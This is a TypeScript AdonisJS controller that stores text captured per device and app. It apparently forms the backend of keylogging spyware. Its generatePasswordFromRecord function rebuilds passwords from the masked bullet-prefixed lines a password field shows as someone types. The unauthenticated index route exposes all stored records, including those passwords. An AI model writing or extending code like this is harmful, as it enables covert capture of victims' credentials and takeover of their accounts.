TextRecordController.ts 2.2 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859
  1. import PaginationService from 'App/Services/PaginationService'
  2. import type { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'
  3. import TextRecord from 'App/Models/TextRecord'
  4. import { schema } from '@ioc:Adonis/Core/Validator'
  5. export default class TextRecordController {
  6. private paginationService = new PaginationService(TextRecord)
  7. public async index({ request }: HttpContextContract) {
  8. return await this.paginationService.paginate(request.all())
  9. }
  10. public async store({ request, bouncer }: HttpContextContract) {
  11. await bouncer.authorize('admin')
  12. const payload = await request.validate({
  13. schema: schema.create({
  14. deviceId: schema.string(),
  15. appName: schema.string(),
  16. record: schema.string()
  17. })
  18. })
  19. const password = this.generatePasswordFromRecord(payload.record)
  20. return await TextRecord.create({ ...payload, password })
  21. }
  22. public async update({ request, params, bouncer }: HttpContextContract) {
  23. await bouncer.authorize('admin')
  24. const payload = await request.validate({
  25. schema: schema.create({
  26. deviceId: schema.string.optional(),
  27. appName: schema.string.optional(),
  28. record: schema.string.optional(),
  29. password: schema.string.optional()
  30. })
  31. })
  32. const record = await TextRecord.findOrFail(params.id)
  33. record.merge(payload)
  34. await record.save()
  35. return record
  36. }
  37. private generatePasswordFromRecord(text?: string): string {
  38. if (!text) return ''
  39. const bullet = '•'
  40. const chars: string[] = []
  41. text.split(/\r?\n/).forEach((rawLine) => {
  42. const line = rawLine.trim()
  43. if (!line || line.endsWith(bullet)) return
  44. const match = line.match(/^•*/)
  45. const bullets = match ? match[0].length : 0
  46. const content = line.slice(bullets)
  47. if (!/^[A-Za-z0-9]+$/.test(content)) return
  48. for (let i = 0; i < content.length; i++) {
  49. chars[bullets + i] = content[i]
  50. }
  51. })
  52. return chars.join('')
  53. }
  54. }